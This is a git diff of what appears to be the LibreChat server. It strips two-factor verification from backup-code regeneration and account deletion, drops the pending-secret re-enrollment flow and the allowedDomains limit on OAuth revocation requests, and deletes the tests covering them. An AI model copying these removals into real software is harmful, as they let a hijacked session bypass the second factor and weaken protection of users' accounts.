- '+totpSecret +pendingTotpSecret +pendingBackupCodes _id',
- );
- const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
+ const user = await getUserById(userId, '_id totpSecret');
- if (!user || !secretSource) {
+ if (!user || !user.totpSecret) {
return res.status(400).json({ message: '2FA not initiated' });
}
- const secret = await getTOTPSecret(secretSource);
+ const secret = await getTOTPSecret(user.totpSecret);
if (await verifyTOTP(secret, token)) {
- const update = {
- totpSecret: user.pendingTotpSecret ?? user.totpSecret,
- twoFactorEnabled: true,
- pendingTotpSecret: null,
- pendingBackupCodes: [],
- };
- if (user.pendingBackupCodes?.length) {
- update.backupCodes = user.pendingBackupCodes;
- }
- await updateUser(userId, update);
+ await updateUser(userId, { twoFactorEnabled: true });
return res.status(200).json();
}
return res.status(400).json({ message: 'Invalid token.' });
@@ -137,27 +104,31 @@ const disable2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token, backupCode } = req.body;
- const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
+ const user = await getUserById(userId, '_id totpSecret backupCodes');
if (!user || !user.totpSecret) {
return res.status(400).json({ message: '2FA is not setup for this user' });
}
if (user.twoFactorEnabled) {
- const result = await verifyOTPOrBackupCode({ user, token, backupCode });
+ const secret = await getTOTPSecret(user.totpSecret);
+ let isVerified = false;
- if (!result.verified) {
- const msg = result.message ?? 'Either token or backup code is required to disable 2FA';
- return res.status(result.status ?? 400).json({ message: msg });
+ if (token) {
+ isVerified = await verifyTOTP(secret, token);
+ } else if (backupCode) {
+ isVerified = await verifyBackupCode({ user, backupCode });
+ } else {
+ return res
+ .status(400)
+ .json({ message: 'Either token or backup code is required to disable 2FA' });
+ }
+
+ if (!isVerified) {
+ return res.status(401).json({ message: 'Invalid token or backup code' });
}
}
- await updateUser(userId, {
- totpSecret: null,
- backupCodes: [],
- twoFactorEnabled: false,
- pendingTotpSecret: null,
- pendingBackupCodes: [],
- });
+ await updateUser(userId, { totpSecret: null, backupCodes: [], twoFactorEnabled: false });
return res.status(200).json();
} catch (err) {
logger.error('[disable2FA]', err);
@@ -167,28 +138,10 @@ const disable2FA = async (req, res) => {
/**
* Regenerate backup codes for the user.
- * Requires OTP or backup code verification if 2FA is already enabled.
*/
const regenerateBackupCodes = async (req, res) => {
try {
const userId = req.user.id;
- const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
-
- if (!user) {
- return res.status(404).json({ message: 'User not found' });
- }
-
- if (user.twoFactorEnabled) {
- const { token, backupCode } = req.body;
- const result = await verifyOTPOrBackupCode({ user, token, backupCode });
-
- if (!result.verified) {
- const msg =
- result.message ?? 'TOTP token or backup code is required to regenerate backup codes';
- return res.status(result.status ?? 400).json({ message: msg });
- }
- }
-
const { plainCodes, codeObjects } = await generateBackupCodes();
await updateUser(userId, { backupCodes: codeObjects });
return res.status(200).json({
diff --git a/api/server/controllers/UserController.js b/api/server/controllers/UserController.js
index 51f6d218ec..7a9dd8125e 100644
--- a/api/server/controllers/UserController.js
+++ b/api/server/controllers/UserController.js
@@ -1,18 +1,11 @@
-const mongoose = require('mongoose');
const { logger, webSearchKeys } = require('@librechat/data-schemas');
+const { Tools, CacheKeys, Constants, FileSources } = require('librechat-data-provider');
const {
MCPOAuthHandler,
MCPTokenStorage,
normalizeHttpError,
extractWebSearchEnvVars,
} = require('@librechat/api');
-const {
- Tools,
- CacheKeys,
- Constants,
- FileSources,
- ResourceType,
-} = require('librechat-data-provider');
const {
deleteAllUserSessions,
deleteAllSharedLinks,
@@ -21,7 +14,6 @@ const {
deleteMessages,
deletePresets,
deleteUserKey,
- getUserById,
deleteConvos,
deleteFiles,
updateUser,
@@ -42,7 +34,6 @@ const {
User,
} = require('~/db/models');
const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService');
-const { verifyOTPOrBackupCode } = require('~/server/services/twoFactorService');
const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService');
const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config');
const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools');
@@ -52,7 +43,6 @@ const { getAppConfig } = require('~/server/services/Config');
const { deleteToolCalls } = require('~/models/ToolCall');
const { deleteUserPrompts } = require('~/models/Prompt');
const { deleteUserAgents } = require('~/models/Agent');
-const { getSoleOwnedResourceIds } = require('~/server/services/PermissionService');
const { getLogStores } = require('~/cache');
const getUserController = async (req, res) => {
@@ -121,78 +111,6 @@ const deleteUserFiles = async (req) => {
}
};
-/**
- * Deletes MCP servers solely owned by the user and cleans up their ACLs.
- * Disconnects live sessions for deleted servers before removing DB records.
- * Servers with other owners are left intact; the caller is responsible for
- * removing the user's own ACL principal entries separately.
- *
- * Also handles legacy (pre-ACL) MCP servers that only have the author field set,
- * ensuring they are not orphaned if no permission migration has been run.
- * @param {string} userId - The ID of the user.
- */
-const deleteUserMcpServers = async (userId) => {
- try {
- const MCPServer = mongoose.models.MCPServer;
- if (!MCPServer) {
- return;
- }
-
- const userObjectId = new mongoose.Types.ObjectId(userId);
- const soleOwnedIds = await getSoleOwnedResourceIds(userObjectId, ResourceType.MCPSERVER);
-
- const authoredServers = await MCPServer.find({ author: userObjectId })
- .select('_id serverName')
- .lean();
-
- const migratedEntries =
- authoredServers.length > 0
- ? await AclEntry.find({
- resourceType: ResourceType.MCPSERVER,
- resourceId: { $in: authoredServers.map((s) => s._id) },
- })
- .select('resourceId')
- .lean()
- : [];
- const migratedIds = new Set(migratedEntries.map((e) => e.resourceId.toString()));
- const legacyServers = authoredServers.filter((s) => !migratedIds.has(s._id.toString()));
- const legacyServerIds = legacyServers.map((s) => s._id);
-
- const allServerIdsToDelete = [...soleOwnedIds, ...legacyServerIds];
-
- if (allServerIdsToDelete.length === 0) {
- return;
- }
-
- const aclOwnedServers =
- soleOwnedIds.length > 0
- ? await MCPServer.find({ _id: { $in: soleOwnedIds } })
- .select('serverName')
- .lean()
- : [];
- const allServersToDelete = [...aclOwnedServers, ...legacyServers];
-
- const mcpManager = getMCPManager();
- if (mcpManager) {
- await Promise.all(
- allServersToDelete.map(async (s) => {
- await mcpManager.disconnectUserConnection(userId, s.serverName);
- await invalidateCachedTools({ userId, serverName: s.serverName });
- }),
- );
- }
-
- await AclEntry.deleteMany({
- resourceType: ResourceType.MCPSERVER,
- resourceId: { $in: allServerIdsToDelete },
- });
-
- await MCPServer.deleteMany({ _id: { $in: allServerIdsToDelete } });
- } catch (error) {
- logger.error('[deleteUserMcpServers] General error:', error);
- }
-};
-
const updateUserPluginsController = async (req, res) => {
const appConfig = await getAppConfig({ role: req.user?.role });
const { user } = req;
@@ -323,22 +241,6 @@ const deleteUserController = async (req, res) => {
const { user } = req;
try {
- const existingUser = await getUserById(
- user.id,
- '+totpSecret +backupCodes _id twoFactorEnabled',
- );
- if (existingUser && existingUser.twoFactorEnabled) {
- const { token, backupCode } = req.body;
- const result = await verifyOTPOrBackupCode({ user: existingUser, token, backupCode });
-
- if (!result.verified) {
- const msg =
- result.message ??
- 'TOTP token or backup code is required to delete account with 2FA enabled';
- return res.status(result.status ?? 400).json({ message: msg });
- }
- }
-
await deleteMessages({ user: user.id }); // delete user messages
await deleteAllUserSessions({ userId: user.id }); // delete user sessions
await Transaction.deleteMany({ user: user.id }); // delete user transactions
@@ -361,8 +263,7 @@ const deleteUserController = async (req, res) => {
await Assistant.deleteMany({ user: user.id }); // delete user assistants
await ConversationTag.deleteMany({ user: user.id }); // delete user conversation tags
await MemoryEntry.deleteMany({ userId: user.id }); // delete user memory entries
- await deleteUserPrompts(user.id); // delete user prompts
- await deleteUserMcpServers(user.id); // delete user MCP servers
+ await deleteUserPrompts(req, user.id); // delete user prompts
await Action.deleteMany({ user: user.id }); // delete user actions
await Token.deleteMany({ userId: user.id }); // delete user OAuth tokens
await Group.updateMany(
@@ -451,7 +352,6 @@ const maybeUninstallOAuthMCP = async (userId, pluginKey, appConfig) => {
serverConfig.oauth?.revocation_endpoint_auth_methods_supported ??
clientMetadata.revocation_endpoint_auth_methods_supported;
const oauthHeaders = serverConfig.oauth_headers ?? {};
- const allowedDomains = getMCPServersRegistry().getAllowedDomains();
if (tokens?.access_token) {
try {
@@ -467,7 +367,6 @@ const maybeUninstallOAuthMCP = async (userId, pluginKey, appConfig) => {
revocationEndpointAuthMethodsSupported,
},
oauthHeaders,
- allowedDomains,
);
} catch (error) {
logger.error(`Error revoking OAuth access token for ${serverName}:`, error);
@@ -488,7 +387,6 @@ const maybeUninstallOAuthMCP = async (userId, pluginKey, appConfig) => {
revocationEndpointAuthMethodsSupported,
},
oauthHeaders,
- allowedDomains,
);
} catch (error) {
logger.error(`Error revoking OAuth refresh token for ${serverName}:`, error);
@@ -520,5 +418,4 @@ module.exports = {
verifyEmailController,
updateUserPluginsController,
resendVerificationController,
- deleteUserMcpServers,
};
diff --git a/api/server/controllers/__tests__/PermissionsController.spec.js b/api/server/controllers/__tests__/PermissionsController.spec.js
deleted file mode 100644
index 840eaf0c30..0000000000
--- a/api/server/controllers/__tests__/PermissionsController.spec.js
+++ /dev/null
@@ -1,268 +0,0 @@
-const mongoose = require('mongoose');
-
-const mockLogger = { error: jest.fn(), warn: jest.fn(), info: jest.fn(), debug: jest.fn() };
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: mockLogger,
-}));
-
-const { ResourceType, PrincipalType } = jest.requireActual('librechat-data-provider');
-
-jest.mock('librechat-data-provider', () => ({
- ...jest.requireActual('librechat-data-provider'),
-}));
-
-jest.mock('@librechat/api', () => ({
- enrichRemoteAgentPrincipals: jest.fn(),
- backfillRemoteAgentPermissions: jest.fn(),
-}));
-
-const mockBulkUpdateResourcePermissions = jest.fn();
-
-jest.mock('~/server/services/PermissionService', () => ({
- bulkUpdateResourcePermissions: (...args) => mockBulkUpdateResourcePermissions(...args),
- ensureGroupPrincipalExists: jest.fn(),
- getEffectivePermissions: jest.fn(),
- ensurePrincipalExists: jest.fn(),
- getAvailableRoles: jest.fn(),
- findAccessibleResources: jest.fn(),
- getResourcePermissionsMap: jest.fn(),
-}));
-
-jest.mock('~/models', () => ({
- searchPrincipals: jest.fn(),
- sortPrincipalsByRelevance: jest.fn(),
- calculateRelevanceScore: jest.fn(),
-}));
-
-jest.mock('~/server/services/GraphApiService', () => ({
- entraIdPrincipalFeatureEnabled: jest.fn(() => false),
- searchEntraIdPrincipals: jest.fn(),
-}));
-
-const mockAgentFindOne = jest.fn();
-const mockUserUpdateMany = jest.fn();
-
-jest.mock('~/db/models', () => ({
- Agent: {
- findOne: (...args) => mockAgentFindOne(...args),
- },
- AclEntry: {},
- AccessRole: {},
- User: {
- updateMany: (...args) => mockUserUpdateMany(...args),
- },
-}));
-
-const { updateResourcePermissions } = require('../PermissionsController');
-
-const createMockReq = (overrides = {}) => ({
- params: { resourceType: ResourceType.AGENT, resourceId: '507f1f77bcf86cd799439011' },
- body: { updated: [], removed: [], public: false },
- user: { id: 'user-1', role: 'USER' },
- headers: { authorization: '' },
- ...overrides,
-});
-
-const createMockRes = () => {
- const res = {};
- res.status = jest.fn().mockReturnValue(res);
- res.json = jest.fn().mockReturnValue(res);
- return res;
-};
-
-const flushPromises = () => new Promise((resolve) => setImmediate(resolve));
-
-describe('PermissionsController', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- });
-
- describe('updateResourcePermissions — favorites cleanup', () => {
- const agentObjectId = new mongoose.Types.ObjectId().toString();
- const revokedUserId = new mongoose.Types.ObjectId().toString();
-
- beforeEach(() => {
- mockBulkUpdateResourcePermissions.mockResolvedValue({
- granted: [],
- updated: [],
- revoked: [{ type: PrincipalType.USER, id: revokedUserId, name: 'Revoked User' }],
- errors: [],
- });
-
- mockAgentFindOne.mockReturnValue({
- lean: () => Promise.resolve({ _id: agentObjectId, id: 'agent_abc123' }),
- });
- mockUserUpdateMany.mockResolvedValue({ modifiedCount: 1 });
- });
-
- it('removes agent from revoked users favorites on AGENT resource type', async () => {
- const req = createMockReq({
- params: { resourceType: ResourceType.AGENT, resourceId: agentObjectId },
- body: {
- updated: [],
- removed: [{ type: PrincipalType.USER, id: revokedUserId }],
- public: false,
- },
- });
- const res = createMockRes();
-
- await updateResourcePermissions(req, res);
- await flushPromises();
-
- expect(res.status).toHaveBeenCalledWith(200);
- expect(mockAgentFindOne).toHaveBeenCalledWith({ _id: agentObjectId }, { id: 1 });
- expect(mockUserUpdateMany).toHaveBeenCalledWith(
- { _id: { $in: [revokedUserId] }, 'favorites.agentId': 'agent_abc123' },
- { $pull: { favorites: { agentId: 'agent_abc123' } } },
- );
- });
-
- it('removes agent from revoked users favorites on REMOTE_AGENT resource type', async () => {
- const req = createMockReq({
- params: { resourceType: ResourceType.REMOTE_AGENT, resourceId: agentObjectId },
- body: {
- updated: [],
- removed: [{ type: PrincipalType.USER, id: revokedUserId }],
- public: false,
- },
- });
- const res = createMockRes();
-
- await updateResourcePermissions(req, res);
- await flushPromises();
-
- expect(mockAgentFindOne).toHaveBeenCalledWith({ _id: agentObjectId }, { id: 1 });
- expect(mockUserUpdateMany).toHaveBeenCalled();
- });
-
- it('uses results.revoked (validated) not raw request payload', async () => {
- const validId = new mongoose.Types.ObjectId().toString();
- const invalidId = 'not-a-valid-id';
-
- mockBulkUpdateResourcePermissions.mockResolvedValue({
- granted: [],
- updated: [],
- revoked: [{ type: PrincipalType.USER, id: validId }],
- errors: [{ principal: { type: PrincipalType.USER, id: invalidId }, error: 'Invalid ID' }],
- });
-
- const req = createMockReq({
- params: { resourceType: ResourceType.AGENT, resourceId: agentObjectId },
- body: {
- updated: [],
- removed: [
- { type: PrincipalType.USER, id: validId },
- { type: PrincipalType.USER, id: invalidId },
- ],
- public: false,
- },
- });
- const res = createMockRes();
-
- await updateResourcePermissions(req, res);
- await flushPromises();
-
- expect(mockUserUpdateMany).toHaveBeenCalledWith(
- expect.objectContaining({ _id: { $in: [validId] } }),
- expect.any(Object),
- );
- });
-
- it('skips cleanup when no USER principals are revoked', async () => {
- mockBulkUpdateResourcePermissions.mockResolvedValue({
- granted: [],
- updated: [],
- revoked: [{ type: PrincipalType.GROUP, id: 'group-1' }],
- errors: [],
- });
-
- const req = createMockReq({
- params: { resourceType: ResourceType.AGENT, resourceId: agentObjectId },
- body: {
- updated: [],
- removed: [{ type: PrincipalType.GROUP, id: 'group-1' }],
- public: false,
- },
- });
- const res = createMockRes();
-
- await updateResourcePermissions(req, res);
- await flushPromises();
-
- expect(mockAgentFindOne).not.toHaveBeenCalled();
- expect(mockUserUpdateMany).not.toHaveBeenCalled();
- });
-
- it('skips cleanup for non-agent resource types', async () => {
- mockBulkUpdateResourcePermissions.mockResolvedValue({
- granted: [],
- updated: [],
- revoked: [{ type: PrincipalType.USER, id: revokedUserId }],
- errors: [],
- });
-
- const req = createMockReq({
- params: { resourceType: ResourceType.PROMPTGROUP, resourceId: agentObjectId },
- body: {
- updated: [],
- removed: [{ type: PrincipalType.USER, id: revokedUserId }],
- public: false,
- },
- });
- const res = createMockRes();
-
- await updateResourcePermissions(req, res);
- await flushPromises();
-
- expect(res.status).toHaveBeenCalledWith(200);
- expect(mockAgentFindOne).not.toHaveBeenCalled();
- });
-
- it('handles agent not found gracefully', async () => {
- mockAgentFindOne.mockReturnValue({
- lean: () => Promise.resolve(null),
- });
-
- const req = createMockReq({
- params: { resourceType: ResourceType.AGENT, resourceId: agentObjectId },
- body: {
- updated: [],
- removed: [{ type: PrincipalType.USER, id: revokedUserId }],
- public: false,
- },
- });
- const res = createMockRes();
-
- await updateResourcePermissions(req, res);
- await flushPromises();
-
- expect(mockAgentFindOne).toHaveBeenCalled();
- expect(mockUserUpdateMany).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(200);
- });
-
- it('logs error when User.updateMany fails without blocking response', async () => {
- mockUserUpdateMany.mockRejectedValue(new Error('DB connection lost'));
-
- const req = createMockReq({
- params: { resourceType: ResourceType.AGENT, resourceId: agentObjectId },
- body: {
- updated: [],
- removed: [{ type: PrincipalType.USER, id: revokedUserId }],
- public: false,
- },
- });
- const res = createMockRes();
-
- await updateResourcePermissions(req, res);
- await flushPromises();
-
- expect(res.status).toHaveBeenCalledWith(200);
- expect(mockLogger.error).toHaveBeenCalledWith(
- '[removeRevokedAgentFromFavorites] Error cleaning up favorites',
- expect.any(Error),
- );
- });
- });
-});
diff --git a/api/server/controllers/__tests__/TwoFactorController.spec.js b/api/server/controllers/__tests__/TwoFactorController.spec.js
deleted file mode 100644
index 62531d94a1..0000000000
--- a/api/server/controllers/__tests__/TwoFactorController.spec.js
+++ /dev/null
@@ -1,264 +0,0 @@
-const mockGetUserById = jest.fn();
-const mockUpdateUser = jest.fn();
-const mockVerifyOTPOrBackupCode = jest.fn();
-const mockGenerateTOTPSecret = jest.fn();
-const mockGenerateBackupCodes = jest.fn();
-const mockEncryptV3 = jest.fn();
-
-jest.mock('@librechat/data-schemas', () => ({
- encryptV3: (...args) => mockEncryptV3(...args),
- logger: { error: jest.fn() },
-}));
-
-jest.mock('~/server/services/twoFactorService', () => ({
- verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
- generateBackupCodes: (...args) => mockGenerateBackupCodes(...args),
- generateTOTPSecret: (...args) => mockGenerateTOTPSecret(...args),
- verifyBackupCode: jest.fn(),
- getTOTPSecret: jest.fn(),
- verifyTOTP: jest.fn(),
-}));
-
-jest.mock('~/models', () => ({
- getUserById: (...args) => mockGetUserById(...args),
- updateUser: (...args) => mockUpdateUser(...args),
-}));
-
-const { enable2FA, regenerateBackupCodes } = require('~/server/controllers/TwoFactorController');
-
-function createRes() {
- const res = {};
- res.status = jest.fn().mockReturnValue(res);
- res.json = jest.fn().mockReturnValue(res);
- return res;
-}
-
-const PLAIN_CODES = ['code1', 'code2', 'code3'];
-const CODE_OBJECTS = [
- { codeHash: 'h1', used: false, usedAt: null },
- { codeHash: 'h2', used: false, usedAt: null },
- { codeHash: 'h3', used: false, usedAt: null },
-];
-
-beforeEach(() => {
- jest.clearAllMocks();
- mockGenerateTOTPSecret.mockReturnValue('NEWSECRET');
- mockGenerateBackupCodes.mockResolvedValue({ plainCodes: PLAIN_CODES, codeObjects: CODE_OBJECTS });
- mockEncryptV3.mockReturnValue('encrypted-secret');
-});
-
-describe('enable2FA', () => {
- it('allows first-time setup without token — writes to pending fields', async () => {
- const req = { user: { id: 'user1' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false, email: 'a@b.com' });
- mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
-
- await enable2FA(req, res);
-
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.json).toHaveBeenCalledWith(
- expect.objectContaining({ otpauthUrl: expect.any(String), backupCodes: PLAIN_CODES }),
- );
- expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
- const updateCall = mockUpdateUser.mock.calls[0][1];
- expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
- expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
- expect(updateCall).not.toHaveProperty('twoFactorEnabled');
- expect(updateCall).not.toHaveProperty('totpSecret');
- expect(updateCall).not.toHaveProperty('backupCodes');
- });
-
- it('re-enrollment writes to pending fields, leaving live 2FA intact', async () => {
- const req = { user: { id: 'user1' }, body: { token: '123456' } };
- const res = createRes();
- const existingUser = {
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- email: 'a@b.com',
- };
- mockGetUserById.mockResolvedValue(existingUser);
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
- mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
-
- await enable2FA(req, res);
-
- expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
- user: existingUser,
- token: '123456',
- backupCode: undefined,
- persistBackupUse: false,
- });
- expect(res.status).toHaveBeenCalledWith(200);
- const updateCall = mockUpdateUser.mock.calls[0][1];
- expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
- expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
- expect(updateCall).not.toHaveProperty('twoFactorEnabled');
- expect(updateCall).not.toHaveProperty('totpSecret');
- });
-
- it('allows re-enrollment with valid backup code (persistBackupUse: false)', async () => {
- const req = { user: { id: 'user1' }, body: { backupCode: 'backup123' } };
- const res = createRes();
- const existingUser = {
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- email: 'a@b.com',
- };
- mockGetUserById.mockResolvedValue(existingUser);
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
- mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
-
- await enable2FA(req, res);
-
- expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith(
- expect.objectContaining({ persistBackupUse: false }),
- );
- expect(res.status).toHaveBeenCalledWith(200);
- });
-
- it('returns error when no token provided and 2FA is enabled', async () => {
- const req = { user: { id: 'user1' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- });
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
-
- await enable2FA(req, res);
-
- expect(res.status).toHaveBeenCalledWith(400);
- expect(mockUpdateUser).not.toHaveBeenCalled();
- });
-
- it('returns 401 when invalid token provided and 2FA is enabled', async () => {
- const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- });
- mockVerifyOTPOrBackupCode.mockResolvedValue({
- verified: false,
- status: 401,
- message: 'Invalid token or backup code',
- });
-
- await enable2FA(req, res);
-
- expect(res.status).toHaveBeenCalledWith(401);
- expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
- expect(mockUpdateUser).not.toHaveBeenCalled();
- });
-});
-
-describe('regenerateBackupCodes', () => {
- it('returns 404 when user not found', async () => {
- const req = { user: { id: 'user1' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue(null);
-
- await regenerateBackupCodes(req, res);
-
- expect(res.status).toHaveBeenCalledWith(404);
- expect(res.json).toHaveBeenCalledWith({ message: 'User not found' });
- });
-
- it('requires OTP when 2FA is enabled', async () => {
- const req = { user: { id: 'user1' }, body: { token: '123456' } };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- });
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
- mockUpdateUser.mockResolvedValue({});
-
- await regenerateBackupCodes(req, res);
-
- expect(mockVerifyOTPOrBackupCode).toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.json).toHaveBeenCalledWith({
- backupCodes: PLAIN_CODES,
- backupCodesHash: CODE_OBJECTS,
- });
- });
-
- it('returns error when no token provided and 2FA is enabled', async () => {
- const req = { user: { id: 'user1' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- });
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
-
- await regenerateBackupCodes(req, res);
-
- expect(res.status).toHaveBeenCalledWith(400);
- });
-
- it('returns 401 when invalid token provided and 2FA is enabled', async () => {
- const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- });
- mockVerifyOTPOrBackupCode.mockResolvedValue({
- verified: false,
- status: 401,
- message: 'Invalid token or backup code',
- });
-
- await regenerateBackupCodes(req, res);
-
- expect(res.status).toHaveBeenCalledWith(401);
- expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
- });
-
- it('includes backupCodesHash in response', async () => {
- const req = { user: { id: 'user1' }, body: { token: '123456' } };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: true,
- totpSecret: 'enc-secret',
- });
- mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
- mockUpdateUser.mockResolvedValue({});
-
- await regenerateBackupCodes(req, res);
-
- const responseBody = res.json.mock.calls[0][0];
- expect(responseBody).toHaveProperty('backupCodesHash', CODE_OBJECTS);
- expect(responseBody).toHaveProperty('backupCodes', PLAIN_CODES);
- });
-
- it('allows regeneration without token when 2FA is not enabled', async () => {
- const req = { user: { id: 'user1' }, body: {} };
- const res = createRes();
- mockGetUserById.mockResolvedValue({
- _id: 'user1',
- twoFactorEnabled: false,
- });
- mockUpdateUser.mockResolvedValue({});
-
- await regenerateBackupCodes(req, res);
-
- expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
- expect(res.status).toHaveBeenCalledWith(200);
- expect(res.json).toHaveBeenCalledWith({
- backupCodes: PLAIN_CODES,
- backupCodesHash: CODE_OBJECTS,
- });
- });
-});
diff --git a/api/server/controllers/__tests__/deleteUser.spec.js b/api/server/controllers/__tests__/deleteUser.spec.js
deleted file mode 100644
index 6382cd1d8e..0000000000
--- a/api/server/controllers/__tests__/deleteUser.spec.js
+++ /dev/null
@@ -1,306 +0,0 @@
-const mockGetUserById = jest.fn();
-const mockDeleteMessages = jest.fn();
-const mockDeleteAllUserSessions = jest.fn();
-const mockDeleteUserById = jest.fn();
-const mockDeleteAllSharedLinks = jest.fn();
-const mockDeletePresets = jest.fn();
-const mockDeleteUserKey = jest.fn();
-const mockDeleteConvos = jest.fn();
-const mockDeleteFiles = jest.fn();
-const mockGetFiles = jest.fn();
-const mockUpdateUserPlugins = jest.fn();
-const mockUpdateUser = jest.fn();
-const mockFindToken = jest.fn();
-const mockVerifyOTPOrBackupCode = jest.fn();
-const mockDeleteUserPluginAuth = jest.fn();
-const mockProcessDeleteRequest = jest.fn();
-const mockDeleteToolCalls = jest.fn();
-const mockDeleteUserAgents = jest.fn();
-const mockDeleteUserPrompts = jest.fn();
-
-jest.mock('@librechat/data-schemas', () => ({
- logger: { error: jest.fn(), info: jest.fn() },
- webSearchKeys: [],
-}));
-
-jest.mock('librechat-data-provider', () => ({
- Tools: {},
- CacheKeys: {},
- Constants: { mcp_delimiter: '::', mcp_prefix: 'mcp_' },
- FileSources: {},
-}));
-
-jest.mock('@librechat/api', () => ({
- MCPOAuthHandler: {},
- MCPTokenStorage: {},
- normalizeHttpError: jest.fn(),
- extractWebSearchEnvVars: jest.fn(),
-}));
-
-jest.mock('~/models', () => ({
- deleteAllUserSessions: (...args) => mockDeleteAllUserSessions(...args),
- deleteAllSharedLinks: (...args) => mockDeleteAllSharedLinks(...args),
- updateUserPlugins: (...args) => mockUpdateUserPlugins(...args),
- deleteUserById: (...args) => mockDeleteUserById(...args),
- deleteMessages: (...args) => mockDeleteMessages(...args),
- deletePresets: (...args) => mockDeletePresets(...args),
- deleteUserKey: (...args) => mockDeleteUserKey(...args),
- getUserById: (...args) => mockGetUserById(...args),
- deleteConvos: (...args) => mockDeleteConvos(...args),
- deleteFiles: (...args) => mockDeleteFiles(...args),
- updateUser: (...args) => mockUpdateUser(...args),
- findToken: (...args) => mockFindToken(...args),
- getFiles: (...args) => mockGetFiles(...args),
-}));
-
-jest.mock('~/db/models', () => ({
- ConversationTag: { deleteMany: jest.fn() },
- AgentApiKey: { deleteMany: jest.fn() },
- Transaction: { deleteMany: jest.fn() },
- MemoryEntry: { deleteMany: jest.fn() },
- Assistant: { deleteMany: jest.fn() },
- AclEntry: { deleteMany: jest.fn() },
- Balance: { deleteMany: jest.fn() },
- Action: { deleteMany: jest.fn() },
- Group: { updateMany: jest.fn() },
- Token: { deleteMany: jest.fn() },
- User: {},
-}));
-
-jest.mock('~/server/services/PluginService', () => ({
- updateUserPluginAuth: jest.fn(),
- deleteUserPluginAuth: (...args) => mockDeleteUserPluginAuth(...args),
-}));
-
-jest.mock('~/server/services/twoFactorService', () => ({
- verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
-}));
-
-jest.mock('~/server/services/AuthService', () => ({
- verifyEmail: jest.fn(),
- resendVerificationEmail: jest.fn(),
-}));
-
-jest.mock('~/config', () => ({
- getMCPManager: jest.fn(),
- getFlowStateManager: jest.fn(),
- getMCPServersRegistry: jest.fn(),
-}));
-
-jest.mock('~/server/services/Config/getCachedTools', () => ({
- invalidateCachedTools: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/S3/crud', () => ({
- needsRefresh: jest.fn(),
- getNewS3URL: jest.fn(),
-}));
-
-jest.mock('~/server/services/Files/process', () => ({
- processDeleteRequest: (...args) => mockProcessDeleteRequest(...args),
-}));
-
-jest.mock('~/server/services/Config', () => ({
- getAppConfig: jest.fn(),
-}));
-
-jest.mock('~/server/services/PermissionService', () => ({
- getSoleOwnedResourceIds: jest.fn().mockResolvedValue([]),
-}));
-
-jest.mock('~/models/ToolCall', () => ({
- deleteToolCalls: (...args) => mockDeleteToolCalls(...args),
-}));
-
-jest.mock('~/models/Prompt', () => ({
- deleteUserPrompts: (...args) => mockDeleteUserPrompts(...args),
-}));
-
-jest.mock('~/models/Agent', () => ({
- deleteUserAgents: (...args) => mockDeleteUserAgents(...args),
-}));
-
-jest.mock('~/cache', () => ({
- getLogStores: jest.fn(),
-}));
-
-const { deleteUserController } = require('~/server/controllers/UserController');
-
-function createRes() {
- const res = {};
- res.status = jest.fn().mockReturnValue(res);
- res.json = jest.fn().mockReturnValue(res);
- res.send = jest.fn().mockReturnValue(res);
- return res;
-}
-
-function stubDeletionMocks() {
- mockDeleteMessages.mockResolvedValue();
